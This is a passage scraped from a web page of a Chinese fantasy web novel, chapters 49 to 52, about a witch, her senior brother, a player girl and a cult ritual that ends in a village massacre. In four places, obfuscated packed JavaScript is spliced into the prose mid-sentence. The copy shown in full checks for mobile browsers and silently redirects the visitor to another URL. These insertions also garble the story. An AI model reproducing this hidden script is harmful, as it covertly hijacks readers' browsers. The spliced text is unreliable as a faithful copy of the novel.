岑小哉转过头,淡淡翻了个死鱼眼以示敬意: “刀妹,你刚刚一巴掌打晕了他的养子。” 王稻美这才回过神来,尴尬地笑了笑:“哈哈,是吗?其实那是个误会,我想跟松盛小朋友打个招呼而已。” 除了吉兰馨以外,没人在意刀妹说了什么。 只不过,前者显然在意的是她这个人本身。同样被裹在云雾里动弹不得,但红裙少女表情的吓人程度几乎能与女巫媲美。 她一边不停挣扎,一边对着王稻美大喊大叫:“你这个恶毒的女人!都怪你,是你害死了所有人!” “欸!妹妹你不要血口喷人啊,我害谁了?” 明明什么也没干却天降一口大锅的刀妹被她骂得很懵。 “爸爸!”松盛朝着地面喊道,再次语出惊人,“你是谁?不许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他并不理会岑小哉的话,答非所问:“秘境口令的下半部分就是‘死了亿亿万万次的蘑菇,生长在死人身上’。” “我比较好奇的是,你又是怎么知道这个芥子秘境的口令?”女巫露出一抹如花笑靥,灿烂得让人很难不联想到海边的艳阳高照。 路其冷冰冰说道:“无可奉告。” 那一瞬间,岑小哉脸上的大海波涛汹涌并乌云密布。 不过路其显然非常了解她的坏脾气,不待她发作,又说起另一个线索: “祭司慧伽,她原本是这个世界选中的‘俱生法王’之母。” 他抬手打了个响指,云雾散去,半空上的三个家伙缓缓落回地面。与此同时,这三个人各有各的大惊失色。 吉兰馨:“慧伽?” 王稻美:“原本?” 松盛:“是我的妈妈?” 她们异口同声说出了不同的内容,正好凑成了一句完整的问话。 女巫和女孩们同时想起了那个美丽身影,她头戴鸦翅银冠,身穿五色云纹法衣,却如一支艳冶的米囊花,以最虔诚的姿态引诱着无辜者与有罪者一同坠入万劫不复。 “明知有险,却欲罢不能。”女巫眯着那双赤金竖瞳,抬起头往上面瞟了一眼,忽然又意有所指地朝对面的冒牌恶魔笑了一下。 “她的心属于‘神明’,你永远爱而不得。” 吉兰馨和松盛这两个小孩没听懂,只觉得女巫的语气有点怪异。王稻美同学听得一知半解,却被她那一笑给吓得汗毛直竖。 “完了,你妈好像爱上你爸了。”刀妹僵硬地扭过头,对松盛说道。 49. 我是反派 “噬母?弑父?” 刀妹用了好几秒的时间去思考到底是哪个“噬”跟哪个“弑”,还好女巫囫囵来了句大白话:“就是吃了他母,然后杀了他父。” “噫!” 三个半小孩同时瑟瑟发抖。 以年龄与心智而言,王稻美同学算其中的一个半。 然而现在,松盛的妈妈没被吃掉,还活得好好的,跟十七八岁时一样年轻。 “内家吉的所有人早已尸骨无存,包括慧伽的父母。”路其垂着眼,慢条斯理地抚平自己双翼上的每一根羽毛。 “当然,也包括松盛的生父。” “哦吼吼,对咯!差点忘了祝贺师兄喜得麟儿。”岑小哉借此机会,火速表演了一个海豹鼓掌,笑容无比灿烂,一看就不怀好意。 “来!松盛,快喊我师姑!” “我不要,你不是。”两米高的松盛把头摇成拨浪鼓,“你一来就要杀我爸爸,太吓人了。” 女巫关掉那个灿烂无比的笑容,面无表情地往上飘,直到与站在地上的松盛能够彼此平视。 就好像一只小仓鼠原地起飞,冷冷逼视着一只杜宾犬。而杜宾犬两眼懵懂地瞅着她,下意识挪了挪两只爪,不知所措中带着一丝隐隐约约的恐惧。 目睹两人的这种对比,王稻美实在忍不住“扑哧”笑出声,成功引来了女巫杀气腾腾的一记眼刀。 路其不怎么理会她们的胡闹,一脸正色地问道:“松盛,你为什么会到这里来?” “之前有人告诉我,天上会掉老婆孩子。”松盛抬手挠了挠头,两道浓眉皱得几乎打结。 “我不知道什么是‘老婆孩子’,那个人说是很好很好的东西,世界上每个男人都会有的。正好我也没事干,就天天过来悬崖下面等着。” “其实,我比较想要妈妈。” 说到这里,松盛偷偷指了指吉兰馨,小声问道:“她不是我妈妈,难道真的是我的老婆?” “我都听到了!”少女当即恼羞成怒,一副气得想把他当场揍扁的样子,“你闭嘴!” “松盛啊,你不是才十四岁吗?”岑小哉用力咳了咳,转头就用七分谴责三分难以置信的目光看向路其。 “师兄!你竟然就是这样教育自己养子的?” “不对不对!不是爸爸说的,”松盛忙不迭地证明他养父的清白,“是一个穿着黑斗篷的蒙面人!” “哈哈,这人也真是的,干脆在身上贴个牌子写一句‘我是反派’得了。”刀妹摇了摇头,发出一阵干笑。 女巫百无聊赖地搓了搓脸,随口问道:“那你有没有问一下他是谁呀?” 松盛点头如捣蒜:“有哇,他说他叫黄丹庚。” “欸,丹庚?怎么听起来有点耳熟?” 王稻美顿时激动起来,整个人在那儿抓耳挠腮,像是瞬间出现了返祖现象。 “等会儿!我老家就有个丹庚山,当时都管那地方叫‘蛋羹山’来着!” “怎么又是这个闽山派的败类!算了,反正人都已经灰化肥挥发会发黑了,不管他!” 岑小哉重重叹了口气,忽然抻长了脖子开始东张西望:“话说回来,有没有谁在这悬崖底下见到了我的安安?” “安安是谁?”刀妹嘴快,一下子问出了所有人的疑惑。 “跟兰馨你一起被丢下悬崖的那个小孩,吉安。” 岑小哉说到这里忽然停顿,“呃”了半天才接着说:“过去的她由于某种意外,有一半灵魂变成了婴灵,并成为了我的好朋友。” “什么?原来吉安的灵魂是不完整的,难怪她……”吉兰馨满脸讶然,瞪大了眼睛,声音倒是越来越小。 “嗯哼,所以你们有没有看见她?” 女巫点点头,转过去对着那个两米高的少年开始比比划划。 “松盛,有没有看见一个小女孩,浑身脏兮兮的,看起来像只流浪猫——噢,你可能不知道什么是流浪猫,大概就是——” “野猫。”路其面无表情地补充道。 从未在荒郊野岭抚养过人类小孩因此一时词穷的女巫暗搓搓地磨了磨后槽牙:“呃,对。” 三个半小孩纷纷摇头。 冒牌恶魔微微掀起眼帘,只瞟了他那师妹半眼,似乎欲言又止。 然而某女巫已捕捉到他那半秒的视线,立即笑嘻嘻地苍蝇搓手:“师兄,有话就说,不要这样鬼鬼祟祟地看我。” 尽管早有预感她那张嘴吐不出象牙,但路其还是下意识闭了闭双眼,长睫隐隐颤抖,好一会儿才压住自己不停抽搐的嘴角。 “慧伽离开之后不久,我听到迷雾之外传来了一声惨叫。” 岑小哉单手抵着下巴,“啧啧”称奇:“能让师兄您都觉得是‘惨叫’的,那一定是非常撕心裂肺了。” “搜魂术。”路其言简意赅地说出三个字。 三个半小孩再次没听懂,女巫一张小脸倒是瞬间白了几分,连两颊的灰色斑点都变得更加明显。 她磕磕巴巴地问道:“谁……谁这么惨,居然被人抓去搜魂?” “唔,那个人,”路其沉吟了一下,眼瞳中央的玫瑰色漩涡隐隐流转,调取出记忆中存储的某个画面,“应该是松盛的生父,他叫吉升平。” “欸等会儿,被搜魂就咋了?”王稻美听得一头雾水,“很痛苦?” “这么说吧,差不多就类似于有人在你完全清醒的情况下,打开你的颅骨把你的脑髓抽干之后灌进去满满一瓶硫酸。” 女巫一口气说完并龇着满口小尖牙在末尾配上了生动的音效: “滋啦——” 成功吓出了小孩们的一身鸡皮疙瘩。 路其露出一点无奈的笑意,继续干巴巴地说道:“对吉升平使用搜魂术的人,也是师妹你所说的那个闽山派败类。” “怎么又是这个黄蛋羹!”岑小哉发出了一声忍无可忍的咆哮。 “不行,我必须亲自看看他到底还搞了什么鬼!” 接着,就在路其尚未反应过来的时候,他的师妹忽然从他的养子旁边窜了过来,化为一串火花,“哧溜”一声就冲进了他眉心。 全程不超过两秒钟。 以至于除了路其本人之外,另外几个小孩们根本不知道发生了什么事情,只觉得自己好像突发飞蚊症,眼前一花,然后女巫就不见了。 几人正面面相觑,松盛忽然疑惑地看向他的恶魔养父:“爸爸,你的脸怎么红得像个柿子?” “缺氧了这是?”王稻美同学同样纳闷道。 只有吉兰馨小心翼翼问了句:“欸,那个,女巫呢?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“还能是谁?”女巫双手抱臂,将下巴往上抬了抬,“那必然就是我们路其大人最忠诚的祭司,以及那个对祭司最忠诚的信徒咯。” “慧伽和黎嗣?” 不知道为什么,王稻美说出这两个名字的时候,总觉得非常艰难,好像喉头莫名有点哽塞。 但就像女巫所说的,她也认为不必在意这些细节,索性把那种异样的古怪感觉抛到脑后,专心致志听女巫讲述那个血腥的爱情故事。 … 路其抚养了松盛十四年。 在这期间,他同样借由芥子秘境,密切监视着这个孕育了噩梦之主的诡异世界。 诸多场死亡仿佛一个个音符,谱成了乐章,奏出一曲无人听闻的哀乐,于群山之间落下长久而静默的回响。 当吉荣利让手下们将他师父的尸身丢去崖底时,他跟在美丽的祭司身后,走进了那座被暮色笼罩着的小木屋。 屋里只点着一盏小小的油灯,有飞蛾在旁边上下飞舞,最终近乎痴迷般投身于那簇烈焰之中。 青年不知道自己是何时摘下了眼镜。 眼前骤然变得模糊,只剩下昏暗的灯光,与光晕中那道皎洁如月的身影。 那一刻他觉得,自己也化为了一只扑火的飞蛾。 那捧火中藏着雪,白皙、柔软却又冰冷。 染血的法衣被丢弃在地上。 慧伽身上的伤口早已痊愈得一片光洁,不留半点痕迹。 却俨然是一个神迹。 令他为之倾倒,为之跪伏,并俯首称臣,顶礼膜拜: “我的祭司娘娘。” “仙境的入口,原来就藏在你身上。” 50. 血肉迷宫 【眼下……的……情况如何……了?】 某本魔法书终于在虚空中露出一角。 不过就连这片小小的边角也如跳帧般闪烁个不停,它的夹子音听起来也断断续续。 王稻美在副本世界里流窜多时,早已见怪不怪,只有吉兰馨被这件口吐人言的魔法道具吓得不轻。 女巫头上的尖顶帽感受到少女的紧张情绪,赶紧朝她摇了摇自己的小毛球以示安抚。 “哟,你谁啊?”女巫对那本没用的魔法书回以一声冷哼,“怎么不干脆等到我们打败了2号噩梦之主以后再出来呢?” 【信号中断……我刚刚碰到了一个非常强烈的干扰源。】魔法书委委屈屈地解释道。 岑小哉当场叉腰怒斥:“中你牡的啊!怎么,还惦记着给你们邪恶资本家当二五仔是吧?信不信我现在就把你扬了?” 【可我本来就是哈雷彗星公司研发的产品,就算您扬了我也无济于事啊。】魔法书委委屈屈地反驳道。 “行啦,来都来了。”为了抓紧时间拉进度通关,2号玩家摆了摆手,适时出面打圆场,“女巫您就大人不记小人过,得过且过哈。” 【就是就是。】 “我劝你适可而止。” 当岑小哉吐出一句冷冰冰的威胁之后,魔法书总算想起了正事: 【好吧,现在还是请您说一说,副本世界的具体情况到底是怎样?】 “最后一次召唤仪式结束了,但别西卜失去了作为‘容器’的人类,目前也不知道祂的真身被卡在什么地方,可能出不来了还是怎么滴——” 岑小哉打了个哈欠,晃晃悠悠飘浮在半空,随时可能一头栽倒。 “情况,就是这么个情况。” 魔法书讶然尖叫:【真有这么简单?】 “嗯呒,好像也不止。” 女巫挠了挠脸,陷入了沉浸式回忆,以至于一不小心又翻起了死鱼眼。 “比如出现了一些什么蘑菇人、像鬼火一样会乱动的菌子、一颗会做梦的巨型蘑菇和记忆精灵,哦还有我师兄和他的养子。” 魔法书:【……】 这都什么乱七八糟的,最后的“还有”又是什么怪东西啊喂? 【您刚刚是不是提到了‘记忆精灵’?】魔法书迅速在凌乱的思路中捞起一个重点。 岑小哉点点头:“是啊,它们长着蜻蜓翅膀,身体看起来很像水银做成的,总之看起来很漂亮,但就是一种特别不科学的生理构造……” “等会儿,女巫,”刀妹忽然开口打断了她的滔滔不绝,脸色也有点异样,“为什么我也见过你说的这种记忆精灵?就是,就是在吉祥农家乐那里吃菌子中毒的时候。” “哦吼吼,这不就破案了嘛!”岑小哉忽然兴奋起来,双手握拳开始殴打空气,“那颗蓝绿色大蘑菇就是你冻结的一段记忆。” 魔法书沉吟了一会儿,语气骤然变得有几分高深莫测:【你们遇到的是一个谜团菇,它会汲取记忆中的信息,制造出无数谜语孢子,扰乱副本世界的基本法则。】 大半天都一言不发的吉兰馨:“啊?” “真是棒极了!”王稻美同学当场起立鼓掌,“我半个字都没听懂。” 女巫飘过去,眼含同情,抬手轻拍两个半小孩主要用于装饰的圆脑壳。 “听起来,这跟1号副本世界里面出现的‘因果置换仪式’似乎有着相同的本质。” 魔法书掀了掀自己流光溢彩的封面,表示点头赞同:【照这么说倒也没错,至少两者同样具备着对副本逻辑的影响——甚至是破坏能力。】 女巫兴致盎然地抬手搓了搓下巴:“那现在刀妹的记忆已经得到解冻,这个谜团菇也已经被我引爆了,接下来副本世界应该就会逐步恢复原状咯?” 魔法书再次“点头”。 2号玩家于是露出了一脸“我是谁我在哪儿我要干什么”的神秘微笑,转头问旁边同样茫然的吉兰馨: “妹妹啊,看来咱们现在可以来掰扯清楚了,你刚才说我害死所有人,又是咋回事儿呢?” 魔法书将自己从虚空中扒拉出来,颤巍巍飞到吉兰馨面前,仔细端详这个有点瑟缩的小少女。 最终得出的结论是:【她之前受到了谜语孢子的侵蚀。】 “哦对,还有很关键的一点,我们之前也见到了吉兰馨,可她当时却是以鬼魂形态出现的。”岑小哉双手抱臂,用一种带着审视的恐怖眼神看向红裙少女,“如此,亡灵与生人之间,必然有一个是冒牌货!” 吉兰馨一下子就被她最后这句话给吓哭了,豆大的晶莹泪珠扑簌簌往下掉。 “欸,那也未必啊,说不定两个都是真的呢?”王稻美飞速运转的脑瓜子里蹦出了各种基本上毫无依据的猜测。 “女巫,你那师兄不是有个什么秘境吗?会不会跟这有关?” “芥子秘境,其实也是一种‘拟态静止场’。只不过这种没那么稳定,非常容易受到外部环境的影响……我知道了!” 岑小哉满头的冰蓝色卷发忽然纷纷竖直起来。 “迷宫就是芥子秘境的出口!” “迷宫就是副本世界的入口。” 女巫与去而复返的冒牌恶魔同时说道。 … 2号玩家垂直下坠,跌过那阵孢子粉末凝成的云雾。 云消雾散时,王稻美发现,自己已经站在地下迷宫的入口处。 “找到蒋老师,你就能成功通关了。”某个模糊声音对她说道。 王稻美一脸不可思议地摸了摸耳朵,总觉得心里怪怪的,好像忘了什么重要的事情。 但她实在想不起来,最终叹了口气,走向无可避免的黑暗之中。 两边的石雕门柱刻满了线条繁复的符文,内容无法辨认,俨然是某种无声的警示。 迷宫墙壁上,水珠沿着青苔滑落,滴答声在空旷的通道之间回响。空气中弥漫着泥土和霉菌的气味,让人很难不皱起眉头。 火把的光芒隐约跳跃,王稻美的影子在墙壁上拉长,随着她的移动而扭曲变形,仿佛有了生命般在狂喜乱舞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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尸堆上的蘑菇散发着诡异荧光,王稻美心中浮现出一种不祥的预感。 当她走近时,蓦地看清了那张脸—— 那是一张扭曲得无法称之为“人”的面孔,在火把的光芒下显得更加狰狞。 皮肤苍白而干裂,头发冒出绿色的火焰,如同蜡烛一样燃烧。眼睛更是怪异,一颗半月形的生在头顶,另一颗则长在下巴上,呈三角形。尖牙乱如剑戟,眼瞳殷红如血。 一个夜叉。 王稻美感到一股寒意从脚底升起,忍不住倒吸了一口冷气。她很快意识到,这个夜叉并不是蒋老师。 可它身上所穿的服饰,为什么会和她自己一模一样? “不,这不可能是我。”她小声说道,整个人几乎被恐惧所吞噬,手和脚都在不停颤抖。却只能攥紧拳头,强迫自己不断地深呼吸。 不行,不能在这里崩溃。 “我一定要保持清醒,蒋老师还在等我……我必须,必须要把他救出去。” 51. 四十二世 2号玩家和魔法书同时消失在路其再次出现的那一刻。 “让2号副本世界恢复原状,那最终得到的结果,只怕是‘恢复原本的不可名状’。”去而复返的冒牌恶魔轻勾了一下唇角,很难说不是在冷笑。 “什么意思?”岑小哉那双赤金竖瞳蓦地收缩成线。 “‘仙境’是噩梦之主设下的陷阱——专门诱捕灵魂的猪笼草。”说到这里,路其非常短暂地停顿了一下,似乎想起了什么不太好的往事,脸色变得更加苍白。 “这里有一条无法撼动的规则:能够进入所谓‘仙境’的,既非亡灵,也并非活人,只会是半人半鬼的中阴身。” 岑小哉一字一顿重复着问道:“中阴身?” 她一百八十度扭头看了吉兰馨一眼,成功吓得那个小姑娘放声尖叫起来。 毕竟那实在不是一个正常活人能够做出来的动作。 岑小哉“啧”了一声,仍以那个诡异得近乎恐怖的角度,满脸了然地点了点头,又若无其事地把脸转了回去:“欸师兄,你的好大儿呢?” “先送他回定居点了。” 女巫于是拿下了她的尖顶帽,朝吉兰馨招了招手:“你有两个选择,一个是跟着我们去找刀妹,另一个是去我家陪小菠萝和砂糖橘玩。” 红裙少女在恐惧的裹挟之下战战兢兢做出了第三个选择:“我,我想去找蒋老师。” “哦对,差点忘了还有这位……”女巫的话还没说完,她的冰蓝色卷发里“呼啦啦”飞出了漫天金光,连带着一阵窸窣窃语,直扑向抱臂飘浮在不远处的冒牌恶魔。 路其的酒红色双眸瞬间睁圆。 他几乎是下意识抽出了鸦九剑,却在斩向金光之前不顾反噬,硬生生抑制住自己的本命兵器—— 那些都是她的“器官”。 不可损毁。 金光们可不会顾念他的手下留情,趁着主人还来不及作出反应,它们立刻蜂拥而上,将那个高大美丽的猎物团团黏住,犹如穷猿投林,几乎是迫不及待地钻入他的黑色羽翼和苍白皮肤当中。 “不要碰他啊!你们这些混球!”女巫当场发出一声久违的尖锐暴鸣。 路其死死握住手中的鸦九剑,手背与脖颈上青筋绷起,脸上当即浮起了诡异的潮红。 眼看场面一发不可收拾,甚至趋向于有点少儿不宜,岑小哉当机立断,回身把尖顶帽往吉兰馨头上一罩,直接将她传送到自己家去和小猫咪们一块儿呆着。 等到那顶猩红色尖顶帽回到女巫自己头上时,逸散在外的金光已经有大半没入了路其的躯壳之中,开始不停躁动着蚕食他体内的能量。 “好耶,这下子完蛋了。”岑小哉神情呆滞,喃喃说道。 与此同时,她也已经开始感觉到一阵非常古怪、舒适且熟悉的饱腹感,正从丹田处缓缓升起,化为澎湃的魔力涌向四肢百骸。 这大概可以称之为一个颇为严重的“历史遗留问题”。 女巫挠了挠脸,抬头望天,非常名副其实的做贼心虚。 “岑!小!哉!”路其终于无力抗争,咬牙切齿念出她的名字后,就如同一只濒死之鸟般从半空中跌落下去。 他师妹大惊失色,赶紧冲过去把人接住,是真的怕他当场摔成只死鸟。 靠近她之后,那无数金光再怎么恋恋不舍也只能被动回归本体,路其脸上半是痛苦半是欢愉的神色渐渐消退,剧烈喘息也平复下去,唯有一直轻颤的长睫透露出他不再冷静的心绪。 即便此刻,如此虚弱的他也只是微微倾身,靠在岑小哉肩上,就像畏惧烈火的孤狼。 “这副躯壳原本的名字,是‘诸禅四十二世’。”路其忽然说道。 他声音太低,岑小哉正在走神,一时没听清楚:“啊?什么饿死?” 刚被吸走了一大波能量的冒牌恶魔:“……” 有时一个人面对这种事情是真的很无助。 路其从未有一刻这么怀念那位飞升成仙的师尊。 他阖上双眼,仿佛重新回到一千年前: 沿竹林幽径前行,拨开袅袅云烟,可见一泓清池。 碧水如镜,锦鲤游曳怡然自得,水面荷花数朵,亭亭净植,为这静谧之境平添一抹丽色。 此境与世隔绝,时光徐徐如细水长流。繁花似锦,终岁不败,硕果累累,四时常熟。更有诸多珍奇仙兽栖息其中,或于林间嬉戏,或于水边畅饮,共享这一方世外桃源。 “这是什么地方?”硅基生物略显刻板的声音穿透水雾,带着一丝冰冷的机械质感。 云池高处,一位身着青衣的修者缓缓现身,瑰姿艳逸如月下仙子。 “竟是先天琼石之灵?”她的眼眸中闪过一丝惊讶,但很快又恢复了宁静,仿佛对这个地方出现的一切异象都已习以为常。 “我名为岑娥。”青衣仙子的声音柔和动人,宛如幽谷清泉,“此间是仙域匡山派的一处芥子秘境。” “你所说的一切,全部无法检索。” 那个“琼石之灵”外形高大如妖魔,心性却如同梦中迷路的孩童:“我的存在本已超越了多维度的时空,可对于这个世界,我竟一无所知。” 岑娥微微一笑,如同春日花开:“既来之,则安之。” 话音刚落,原本想要偷袭她的小女孩忽然从虚空中跳出来,顶着满头乱翘的火红色卷毛,眼神中充满了好奇与挑衅,仿佛一只小猫发现了新奇的玩具。 岑娥转过头,仍以那种含笑的目光注视着她:“小火精,你也不必再躲了。” “我是女巫玛菲!才不是什么火精呢!” 红发小女巫满脸气恼地鼓起了腮帮子,像是准备要口吐烈焰,不知想到了什么自己又面色扭曲地把嘴里的火咽了下去。 “一个明明是人类,却能够汲取自然之力来施展魔法。另一个身上蕴藏着无穷无尽的魔法能量,却并不懂得如何转化为魔力——”她抬手挠了挠头,面上只余疑惑,“你们到底是什么怪东西?” 石头怪一板一眼地答道:“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14010126|147164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是由七维文明‘深思’所分化出来的数字生命,我的意识穿越了无数星云,最终在此觉醒。” 岑娥笑盈盈地看着她们,喜爱之色溢于言表。她轻轻挥手,一道柔和的光芒如同流云般将这两个家伙包裹起来。 “我想收你们为徒,传授修道之法。”岑娥负手在背,声音中虽带着不容置疑的坚定,却又如同春风化雨般温柔。 玛菲双手叉腰,轻哼一声,既不接受也不拒绝,眼中却有一丝玩味的光芒闪过。 而路其从未想过,自己会以这样的方式与人类结缘,但他决定接受这个挑战: “我愿意接受你的指导,岑娥仙子。” “甚好。从今日起,你们便是我的弟子。”岑娥微微颔首,神情中隐含一丝欣慰,“‘无名,天地之始,有名,万物之母’。小火精,你的新名就叫作‘岑小哉’。” 她们一起在匡山生活了五百年。 直到岑娥飞升之后,岑小哉在她们初次见面的那个芥子秘境中降下了漫天火雨。 遭到毁灭的不止是那些美好事物,还有路其原本使用的那个石头怪外表的硅基躯体。 他从剧痛中醒来时,发现自己正飘浮在某个怪异的空间。 四周是一片模糊的光影,仿佛置身于梦境之中。他的脚步不由自主地向前移动,穿过了一道道扭曲的光门,最终来到了一个开阔的殿堂。 “欢迎来到‘仙境’,路其。” 大殿中央坐着一个身影,他的身体被一团黑雾所笼罩,只露出一双闪烁着狡黠光芒的酒红色眼睛。 “你是谁?” “我是这里的主人,你可以称我为‘诸禅’。” “诸禅?”路其重复着这个名字,心中涌起一股不详的预感。 “没错,我是诸禅,掌控着‘仙境’中的力量源泉。”那家伙的声音中透露出无尽自信,“只要你愿意留下来,就可以得到你想要的一切。” 路其摇了摇头:“可我只想离开这里。” 诸禅轻笑了一声:“离开?看看这无尽的珍宝,感受这强大的力量,难道你就一点都不动心?” 为了印证诸禅的话语,大殿四周开始出现各种奇异的景象: 云间漂浮的宫殿岛屿、山谷中流淌的宝石河流、以及各种传说中出现过的美人。 但路其的表情异常平静,没有一丝波动:“这些对我毫无意义。” 诸禅的笑声戛然而止,他的声音突然变得冰冷讥诮:“好一个冥顽不灵的家伙!既然你非要敬酒不吃吃罚酒,那就别怪我不客气了。” 四周幻象开始扭曲变形,化为一群面目狰狞的夜叉,冲出墙壁,张牙舞爪地朝着路其扑过来。 他迅速后退,手中凝出了一把长剑,刃面上刻着四十五字剑铭。 “让我离开,或者被我斩于剑下。”路其冷冷说道。 “口气倒是不小嘛,路其。”诸禅的声音在大殿中回荡,他嗤笑了一声,“只可惜,落到我的手里,将是你最大的不幸。” 52. 药不能停 现在,女巫和她的师兄肩并肩飘浮在半空中,只不过中间还能再放进去一个松盛。 “‘俱生仪式’的‘锚点’回归了。” 路其垂着眼,难掩疲惫之色,但声音已然恢复平静。 “如果她按照既定轨迹走到终点,别西卜必然成功降临,就算我们将松盛藏到天涯海角也没用。” “真是没想到啊,‘暴食’远比我想象中更难对付。”岑小哉正了正自己头上的尖顶帽,半边脸掩在宽大帽檐阴影下,看不清表情。 “本以为那只大苍蝇的要求最多也就是到处吃吃吃,结果这个破仪式居然需要人类的心灵对杀戮产生极度饥渴。” 实在是,太让人心动了呢。 “师妹,你冷静一点。”路其快速瞥了她半眼。 果不其然发现了一双藏在帽檐阴影里闪闪发光的赤金竖瞳—— 以及无数藏在她那头冰蓝色卷发中同样闪闪发光的小号赤金竖瞳。 “一闪一闪亮晶晶,满头都是小眼睛~” 女巫旁若无人地哼起了很奇怪的歌谣,把自己逗得乐不可支,“咯咯咯”笑到双肩颤抖。 冒牌恶魔盯着她看了半分钟,最后抬手扶着额头,闭起眼睛叹了口气。 让女巫进入2号副本世界,无异于用一棵捕蝇草幼苗去抓一头成年霸王龙,根本就是毫无意义的事情。 “再不行动,你的2号玩家可就要把别西卜召唤出来了。”路其温声提醒道,顺便用右侧的翅尖轻轻点了一下岑小哉帽尾的那颗小毛球。 毛球欢快地晃了晃。 “是哦!”女巫如梦初醒般挺直了脊背,满脑袋乱闪的眼珠子也收敛成星星点点的金光。 “那得先去摧毁迷宫形成的时间节点吧!是不是娞吉大寨的那场饥荒?我是不是可以趁机打爆黄蛋羹的狗头?” “不,你抓住的那只八目莲蓬蟾蜍,它诞生于内家吉的灭亡。” 云雾从悬崖底下迅速漫起,师兄妹两人经由芥子秘境抵达了内家吉灭亡的前夕。 绵延如海的森林环绕着这片村落,在吉荣利一行人来到这里之后,“俱生仪式”的举行频率比起以前只增不减。 悬崖边的空地上,慧伽跪在供桌前,双手合十,满脸虔诚地闭目祈祷着。 烛火随着她的声音跳跃,仿佛在回应她的祈祷。 周围没有一丝风,树叶静默不动,空气似乎变得更加沉重,村民们的脸上布满敬畏之色。 吉荣利站在慧伽身后,双手抱臂,镜片折射着烛光,看不出他的视线到底落在何处。 “慧伽,你真的决定一辈子都不离开这里吗?”吉荣利轻声问道。 慧伽转过身,眼神坚定而冷漠,如万古不化的寒冰:“这是我作为祭司的使命。” “好啊,我一定会帮你把他们都送进‘仙境’里的。” 那个最虔诚的信徒脸上浮起一个非常夸张的笑容,却下意识紧握着拳头,指甲几乎嵌入了掌心: “我的祭司娘娘,这世上根本就没有什么仙境。” 悬崖底下,明明只是一个巨大的乱葬岗。 仪式结束之后,夜幕已然低垂,月亮被乌云遮蔽,只有零星的星光透过树梢,洒在这片很快就要被鲜血浸透的土地上。 村里的灯光全部熄灭了,所有人都陷入沉睡,对即将到来的灭顶之灾一无所知。 “速战速决。”吉荣利转过身,对他的手下说,“别留下任何活口。” 他们悄悄地进入了村庄,刀锋的冷光在夜色中闪烁。 每一次挥刀,都带走了一个鲜活的生命。 而每次挥刀时,吉荣利都在心里默念:“为了慧伽,为了结束这一切。” 浓烈刺鼻的血腥味开始在空气中弥漫,这群恶徒的刀上沾满了鲜血。吉荣利脸上溅满了血迹,但他的眼神中没有一丝后悔,只有偏执、疯狂到极致的占有欲。 他们穿过血迹斑斑的屋巷,来到了慧伽父母家中。 吉荣利推开门,看到了那对鬓发苍苍的夫妇俩。他们瑟缩在角落里,眼中充满了深深的恐惧和不解。 眼看他握着刀越走越近,慧伽的阿伯颤声喊道:“吉荣利!你要是敢对我们动手,慧伽,祭司一定不会原谅你……” “怎么会呢?”吉荣利轻轻笑了一下,声音低沉如恶魔,“我只是在帮她,送你们去‘仙境’而已啊。” 话还没说完,刀光一闪,慧伽的父母已经双双瞪着眼睛倒在地上。 “现在就通知三哥带人来收‘肥料’,到明天可就不新鲜了。”吉荣利漫不经心地吩咐道,一边擦着刀一边转过身。 他忽然愣住。 慧伽一脸平静地站在门外,身披月色,裙边是满地的斑驳血迹,像无数朵盛开的米囊花。 她什么也没说,转身往回走,绣着云纹的裙摆沾染了血污,艳丽得刺眼。 吉荣利默不作声地跟在她身后,两人一前一后走进那座建在村寨边角上的小木屋。 天亮时,他们离开了内家吉。 村子里火光冲天,惊飞了山林中的所有鸟雀。 慧伽被吉荣利带回了外家吉,不久后,外家吉的人也开始信奉俱生法王,每个月都要进行一次“俱生仪式”。 “相信我,只有通过这个仪式,你们才可以得到自己最想要的一切。”慧伽站在祭坛上,声音并不算激昂,却轻轻飘进每个人心底,如一句魔咒般勾起他们蠢蠢欲动的念头。 “什么最想要的一切?我呸!” 吉荣发坐在自家院子里,“咕噜咕噜”灌着茅台酒,喝得满脸通红,两眼发直。 “我说四弟啊,你这是请回来的……是一尊菩萨,还是个妖精啊?怎么整天无缘无故地,就琢磨着害人呢?” “三哥,你喝醉了。” “呵,我醉了?你还疯了呢!”吉荣发倏地站起来,抓起桌子上的酒瓶往地上一摔,“你们全都疯了!信什么法王,有用吗?” 他深吸一口气,从墙上拿了一把猎枪,迈开步子,向院外走去。 “吉荣发,你这是要做什么?”吉荣利同样站起身,冷着脸挡在自己兄长的面前。 吉荣发停下脚步,眼中闪过一丝痛苦:“你已经被那个女人迷惑了,我不能眼睁睁看着她毁了我们整个外家吉。” “哥,你不明白。”吉荣利的脸色瞬间变得苍白,他的声音中半是绝望半是狂热,“慧伽对我来说,不仅仅是一个女人,她是我的信仰。” 吉荣发摇了摇头,在他眼里,吉荣利俨然就是一个闹着要玩具的小孩:“我不管她是你的什么,再这样下去,她只会成为我们家族的灾难。” 他没有再给弟弟说话的机会,直接示意手下们把吉荣利抓住,自己带着另一批人手冲向了慧伽的住所。 那座空旷的砖瓦房中远远传来了尖叫 